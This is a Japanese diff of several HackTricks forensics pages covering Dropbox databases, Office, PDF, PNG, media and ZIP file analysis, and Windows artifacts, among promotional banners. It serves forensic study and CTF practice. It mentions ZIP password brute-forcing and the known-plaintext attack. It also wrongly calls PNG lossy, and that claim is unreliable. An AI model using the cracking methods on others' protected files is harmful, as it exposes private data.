- **Host\_id**: クラウドへの認証に使用されるハッシュ。これはWebからのみ取り消すことができます。
- **Root\_ns**: ユーザー識別子
**`filecache.db`**データベースには、Dropboxと同期されたすべてのファイルとフォルダに関する情報が含まれています。最も有用な情報を持つテーブルは`File_journal`です:
- **Server\_path**: サーバー内のファイルが配置されているパス(このパスはクライアントの`host_id`で先行します)。
- **local\_sjid**: ファイルのバージョン
- **local\_mtime**: 修正日
- **local\_ctime**: 作成日
このデータベース内の他のテーブルには、さらに興味深い情報が含まれています:
- **block\_cache**: Dropboxのすべてのファイルとフォルダのハッシュ
- **block\_ref**: テーブル`block_cache`のハッシュIDをテーブル`file_journal`のファイルIDに関連付ける
- **mount\_table**: Dropboxの共有フォルダ
- **deleted\_fields**: Dropboxで削除されたファイル
- **date\_added**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details>

View file

@ -0,0 +1,58 @@
# オフィスファイルの分析
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** または [telegramグループ](https://t.me/peass) に**参加** または **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) を**フォロー** してください。
* **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出してください。
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** してください。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
詳細については [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) をチェックしてください。これは要約です:
Microsoft は多くのオフィスドキュメント形式を作成しており、主なタイプは **OLE形式**RTF、DOC、XLS、PPTなど**Office Open XMLOOXML形式**DOCX、XLSX、PPTXなどです。これらの形式にはマクロが含まれることがあり、それによりフィッシングやマルウェアの標的になります。OOXMLファイルはzipコンテナとして構造化されており、解凍してファイルとフォルダの階層、XMLファイルの内容を表示できます。
OOXMLファイルの構造を調査するために、ドキュメントを解凍するためのコマンドと出力構造が提供されています。これらのファイルにデータを隠す技術が文書化されており、CTFチャレンジ内でのデータの隠蔽に関する革新が続いています。
分析のために、**oletools** と **OfficeDissector** は、OLEおよびOOXMLドキュメントを調査するための包括的なツールセットを提供しています。これらのツールは、埋め込まれたマクロを特定し、分析するのに役立ちます。これらのマクロは、通常、マルウェアの配信ベクトルとして機能し、通常は追加の悪意のあるペイロードをダウンロードして実行します。VBAマクロの分析は、Libre Office を使用してMicrosoft Officeなしで行うことができ、ブレークポイントとウォッチ変数を使用したデバッグが可能です。
**oletools** のインストールと使用は簡単で、pipを使用してインストールするためのコマンドが提供され、ドキュメントからマクロを抽出するための手順が示されています。マクロの自動実行は、`AutoOpen`、`AutoExec`、または `Document_Open` などの関数によってトリガーされます。
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details>

View file

@ -0,0 +1,52 @@
# PDFファイルの分析
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって**パワード**された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**詳細については、次をチェックしてください:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
PDF形式は、データを隠す可能性が高い複雑さで知られており、CTFフォレンジックチャレンジの焦点となっています。プレーンテキスト要素とバイナリオブジェクトを組み合わせ、圧縮されたり暗号化されたりする可能性があり、JavaScriptやFlashなどの言語でスクリプトを含むことができます。PDFの構造を理解するためには、Didier Stevensの[入門資料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)を参照するか、テキストエディタやOrigamiなどのPDF固有のエディタを使用することができます。
PDFを詳細に探索または操作するためには、[qpdf](https://github.com/qpdf/qpdf)や[Origami](https://github.com/mobmewireless/origami-pdf)などのツールが利用可能です。PDF内の隠されたデータは、次のように隠されている可能性があります
* 不可視のレイヤー
* AdobeのXMPメタデータ形式
* インクリメンタルジェネレーション
* 背景と同じ色のテキスト
* 画像の後ろのテキストまたは画像の上に重なるテキスト
* 非表示のコメント
カスタムPDF分析のためには、[PeepDF](https://github.com/jesparza/peepdf)などのPythonライブラリを使用して、独自の解析スクリプトを作成できます。さらに、PDFの隠されたデータストレージの可能性は非常に広範囲であり、NSAによるPDFのリスクと対策に関するガイドなどのリソースは、元の場所でホストされていないものの、貴重な洞察を提供しています。ガイドの[コピー](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)やAnge Albertiniによる[PDF形式のトリック](https://github.com/corkami/docs/blob/master/PDF/PDF.md)のコレクションは、このトピックに関するさらなる読書を提供できます。
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>

View file

@ -0,0 +1,33 @@
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks_live**をフォローする
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details>
**PNGファイル**は、**CTFチャレンジ**で高く評価されており、**非可逆圧縮**により、隠しデータを埋め込むのに最適です。**Wireshark**のようなツールは、PNGファイルの解析を可能にし、ネットワークパケット内のデータを解析して埋め込まれた情報や異常を明らかにします。
PNGファイルの整合性をチェックし、破損を修復するために、**pngcheck**は重要なツールであり、PNGファイルを検証および診断するためのコマンドライン機能を提供します[pngcheck](http://libpng.org/pub/png/apps/pngcheck.html))。ファイルが単純な修復を超える場合、[OfficeRecoveryのPixRecovery](https://online.officerecovery.com/pixrecovery/)のようなオンラインサービスは、**破損したPNGの修復**のためのWebベースのソリューションを提供し、CTF参加者のために重要なデータの回復を支援します。
これらの戦略は、CTFで包括的なアプローチの重要性を強調し、分析ツールと修復技術の組み合わせを活用して、隠されたデータや失われたデータを発見および回復することを目指します。
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks_live**をフォローする
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details>

View file

@ -0,0 +1,28 @@
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
**オーディオおよびビデオファイルの操作**は、**CTFフォレンジックチャレンジ**での主要な要素であり、**ステガノグラフィ**やメタデータ解析を活用して秘密のメッセージを隠したり明らかにしたりします。**[mediainfo](https://mediaarea.net/en/MediaInfo)**や**`exiftool`**などのツールは、ファイルのメタデータを検査しコンテンツタイプを特定するために不可欠です。
オーディオチャレンジでは、**[Audacity](http://www.audacityteam.org/)**が波形の表示やスペクトログラムの分析に優れたツールとして際立っており、オーディオにエンコードされたテキストを発見するのに必須です。**[Sonic Visualiser](http://www.sonicvisualiser.org/)**は、詳細なスペクトログラム分析に非常に適しています。**Audacity**は、隠されたメッセージを検出するためにトラックを遅くしたり逆再生したりするなど、オーディオの操作を可能にします。**[Sox](http://sox.sourceforge.net/)**は、オーディオファイルの変換や編集に優れたコマンドラインユーティリティです。
**最下位ビットLSB**の操作は、オーディオおよびビデオステガノグラフィで一般的な技術であり、メディアファイルの固定サイズのチャンクを利用してデータを控え目に埋め込みます。**[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)**は、**DTMFトーン**や**モールス符号**として隠されたメッセージをデコードするのに役立ちます。
ビデオチャレンジでは、オーディオとビデオストリームをバンドルするコンテナ形式がしばしば使用されます。**[FFmpeg](http://ffmpeg.org/)**は、これらの形式を分析および操作するための必須ツールであり、デマルチプレクシングやコンテンツの再生が可能です。開発者向けには、**[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)**が、Pythonでの高度なスクリプト可能なインタラクションにFFmpegの機能を統合しています。
これらのツールの配列は、CTFチャレンジで必要とされる多様性を示しており、参加者はオーディオおよびビデオファイル内の隠されたデータを発見するために幅広い分析および操作技術を駆使する必要があります。
# 参考文献
* [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
<details>

View file

@ -0,0 +1,30 @@
# ZIPのトリック
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
- **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
**コマンドラインツール**を使用して**zipファイル**を管理することは、zipファイルの診断、修復、クラックに不可欠です。以下はいくつかの主要なユーティリティです
- **`unzip`**zipファイルが展開されない理由を明らかにします。
- **`zipdetails -v`**zipファイル形式のフィールドの詳細な分析を提供します。
- **`zipinfo`**zipファイルの内容を抽出せずにリストします。
- **`zip -F input.zip --out output.zip`**および**`zip -FF input.zip --out output.zip`**破損したzipファイルを修復しようとします。
- **[fcrackzip](https://github.com/hyc/fcrackzip)**zipパスワードの総当たりクラックのためのツールで、約7文字までのパスワードに効果的です。
[Zipファイル形式の仕様](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)は、zipファイルの構造と標準に関する包括的な詳細を提供しています。
重要なのは、パスワードで保護されたzipファイルは、ファイル名やファイルサイズを**暗号化しない**ことです。これは、RARや7zファイルとは異なり、この情報を暗号化するものではありません。さらに、古いZipCryptoメソッドで暗号化されたzipファイルは、圧縮されたファイルの非暗号化コピーが利用可能な場合、**平文攻撃**に対して脆弱です。この攻撃は、既知のコンテンツを利用してzipのパスワードをクラックするためのもので、[HackThisの記事](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files)で詳細に説明され、[この学術論文](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf)でさらに説明されています。ただし、**AES-256**暗号で保護されたzipファイルは、この平文攻撃に対して免疫を持っており、機密データに対して安全な暗号化方法を選択する重要性を示しています。
# 参考文献
* [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)

View file

@ -0,0 +1,477 @@
# Windows Artifacts
## Windows Artifacts
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出する。**
</details>
## 一般的なWindowsアーティファクト
### Windows 10通知
パス`\Users\<username>\AppData\Local\Microsoft\Windows\Notifications`には、Windows Anniversaryより前の`appdb.dat`またはWindows Anniversary以降の`wpndatabase.db`というデータベースがあります。
このSQLiteデータベース内には、興味深いデータを含む可能性があるすべての通知XML形式を含む`Notification`テーブルがあります。
### タイムライン
タイムラインは、訪れたWebページ、編集されたドキュメント、実行されたアプリケーションの**時間順の履歴**を提供するWindowsの特性です。
データベースは、パス`\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`にあります。このデータベースは、SQLiteツールまたは[**WxTCmd**](https://github.com/EricZimmerman/WxTCmd)というツールで開くことができます。**これにより、2つのファイルが生成され、[**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md)で開くことができます。**
### ADS代替データストリーム
ダウンロードされたファイルには、**ADS Zone.Identifier**が含まれており、それがイントラネット、インターネットなどから**どのように**ダウンロードされたかを示しています。一部のソフトウェアブラウザなどは、通常、ファイルがダウンロードされたURLなどの**さらに多くの情報**を追加します。
## **ファイルのバックアップ**
### リサイクルビン
Vista/Win7/Win8/Win10では、**リサイクルビン**はドライブのルートにあるフォルダ**`$Recycle.bin`**にあります(`C:\$Recycle.bin`)。\
このフォルダでファイルが削除されると、2つの特定のファイルが作成されます
* `$I{id}`: ファイル情報(削除された日付)
* `$R{id}`: ファイルの内容
![](<../../../.gitbook/assets/image (486).png>)
これらのファイルを使用して、ツール[**Rifiuti**](https://github.com/abelcheung/rifiuti2)を使用して、削除されたファイルの元のアドレスと削除された日付を取得できますVista Win10用に`rifiuti-vista.exe`を使用します)。
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
### ボリュームシャドウコピー
Shadow Copyは、Microsoft Windowsに含まれる技術で、コンピュータファイルやボリュームの**バックアップコピー**やスナップショットを作成できます。これは、使用中であっても可能です。
これらのバックアップは通常、ファイルシステムのルートにある`\System Volume Information`にあり、名前は以下の画像に示す**UID**で構成されています:
![](<../../../.gitbook/assets/image (520).png>)
**ArsenalImageMounter**を使用してフォレンジックイメージをマウントすると、ツール[**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html)を使用してシャドウコピーを検査し、シャドウコピーのバックアップからファイルを**抽出**することができます。
![](<../../../.gitbook/assets/image (521).png>)
レジストリエントリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`には、バックアップしないファイルとキーが含まれています:
![](<../../../.gitbook/assets/image (522).png>)
レジストリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`には、`Volume Shadow Copies`に関する構成情報も含まれています。
### Officeの自動保存ファイル
Officeの自動保存ファイルは、次の場所にあります: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## シェルアイテム
シェルアイテムは、別のファイルにアクセスする方法に関する情報を含むアイテムです。
### 最近のドキュメントLNK
Windowsは、ユーザーがファイルを**開いたり使用したり作成したり**すると、これらの**ショートカット**を**自動的に作成**します:
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
フォルダが作成されると、そのフォルダへのリンク、親フォルダへのリンク、祖父フォルダへのリンクも作成されます。
これら自動的に作成されたリンクファイルには、**ファイル**か**フォルダ**か、そのファイルの**MACタイム**、ファイルが保存されている場所の**ボリューム情報**、**ターゲットファイルのフォルダ**が含まれる情報があります。これらの情報は、削除された場合にこれらのファイルを回復するのに役立ちます。
また、リンクファイルの**作成日**は、元のファイルが**最初に使用された時間**であり、リンクファイルの**変更日**は、元のファイルが**最後に使用された時間**です。
これらのファイルを検査するには、[**LinkParser**](http://4discovery.com/our-tools/)を使用できます。
このツールでは、**2つのセット**のタイムスタンプが見つかります:
* **最初のセット:**
1. FileModifiedDate
2. FileAccessDate
3. FileCreationDate
* **2番目のセット:**
1. LinkModifiedDate
2. LinkAccessDate
3. LinkCreationDate.
最初のセットのタイムスタンプは、**ファイル自体のタイムスタンプ**を参照します。2番目のセットは、**リンクされたファイルのタイムスタンプ**を参照します。
同じ情報を取得するには、Windows CLIツール[**LECmd.exe**](https://github.com/EricZimmerman/LECmd)を実行できます。
```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
### ジャンプリスト
これは、**アプリケーションごとに示される最近使用されたファイル**のリストです。各アプリケーションでアクセスできる**最近使用されたファイルのリスト**です。これらは**自動的に作成されるか、カスタムで作成**されることがあります。
**自動的に作成されたジャンプリスト**は、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`に保存されます。ジャンプリストは、初期IDがアプリケーションのIDである形式に従って名前が付けられます。
カスタムジャンプリストは、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`に保存され、通常はアプリケーションによって作成されます。これは、ファイルに何か**重要なこと**が起こったためかもしれません(お気に入りとしてマークされたかもしれません)。
どのジャンプリストの**作成時刻**は、**ファイルにアクセスされた最初の時間**を示し、**変更時刻**は最後の時間を示します。
[JumplistExplorer](https://ericzimmerman.github.io/#!index.md)を使用してジャンプリストを調査できます。
![](<../../../.gitbook/assets/image (474).png>)
_JumplistExplorerによって提供されるタイムスタンプは、ジャンプリストファイル自体に関連しています_
### シェルバッグ
[**こちらのリンク**](interesting-windows-registry-keys.md#shellbags)を参照して、シェルバッグとは何かを学びます。
## Windows USBの使用
USBデバイスが使用されたことを特定することが可能です。これは次のようにして行われます
* Windows最近使用したフォルダ
* Microsoft Office最近使用したフォルダ
* ジャンプリスト
一部のLNKファイルは、元のパスを指す代わりにWPDNSEフォルダを指します
![](<../../../.gitbook/assets/image (476).png>)
フォルダWPDNSE内のファイルは、元のファイルのコピーであり、したがってPCの再起動を行うと消えます。GUIDはシェルバッグから取得されます。
### レジストリ情報
USB接続されたデバイスに関する興味深い情報を含むレジストリキーを確認するには、[このページ](interesting-windows-registry-keys.md#usb-information)を参照してください。
### setupapi
USB接続が行われたタイムスタンプを取得するには、ファイル`C:\Windows\inf\setupapi.dev.log`を確認してください(`Section start`を検索)。
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
### USB Detective
[**USBDetective**](https://usbdetective.com)を使用して、イメージに接続されたUSBデバイスに関する情報を取得できます。
![](<../../../.gitbook/assets/image (483).png>)
### プラグアンドプレイのクリーンアップ
「プラグアンドプレイのクリーンアップ」として知られるスケジュールされたタスクは、古いドライバーバージョンを削除するために主に設計されています。最新のドライバーパッケージバージョンを保持することが明示されているにもかかわらず、オンラインソースによると、過去30日間非アクティブだったドライバーも対象となる可能性があります。その結果、過去30日間接続されていないリムーバブルデバイスのドライバーは削除の対象となる可能性があります。
このタスクは次の場所にあります:
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`
タスクの内容を示すスクリーンショットが提供されています:
![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
**タスクの主要なコンポーネントと設定:**
- **pnpclean.dll**: このDLLは実際のクリーンアッププロセスを担当しています。
- **UseUnifiedSchedulingEngine**: `TRUE`に設定されており、一般的なタスクスケジューリングエンジンが使用されていることを示しています。
- **MaintenanceSettings**:
- **Period ('P1M')**: タスクスケジューラに、定期的な自動メンテナンス中に月次のクリーンアップタスクを開始するよう指示します。
- **Deadline ('P2M')**: タスクスケジューラに、2か月連続でタスクが失敗した場合、緊急時の自動メンテナンス中にタスクを実行するよう指示します。
この構成により、ドライバーの定期的なメンテナンスとクリーンアップが確保され、連続した失敗の場合にタスクを再試行するための規定があります。
**詳細はこちらを参照:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
## メール
メールには**2つの興味深い部分が含まれます: ヘッダーとコンテンツ**です。**ヘッダー**には次のような情報が含まれます:
* メールを送信した**誰**メールアドレス、IP、メールをリダイレクトしたメールサーバー
* メールがいつ送信されたか
また、`References`と`In-Reply-To`ヘッダー内には、メッセージのIDが含まれています
![](<../../../.gitbook/assets/image (484).png>)
### Windowsメールアプリ
このアプリケーションは、メールをHTMLまたはテキストで保存します。メールは`\Users\<username>\AppData\Local\Comms\Unistore\data\3\`内のサブフォルダ内に保存され、`.dat`拡張子で保存されます。
メールの**メタデータ**と**連絡先**は、**EDBデータベース**内で見つけることができます:`\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
ファイルの拡張子を`.vol`から`.edb`に変更し、[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)ツールを使用して開くことができます。`Message`テーブル内でメールを確認できます。
### Microsoft Outlook
ExchangeサーバーやOutlookクライアントが使用されている場合、いくつかのMAPIヘッダーが存在します
* `Mapi-Client-Submit-Time`: メールが送信されたシステムの時間
* `Mapi-Conversation-Index`: スレッドの子メッセージ数とスレッドの各メッセージのタイムスタンプ
* `Mapi-Entry-ID`: メッセージ識別子
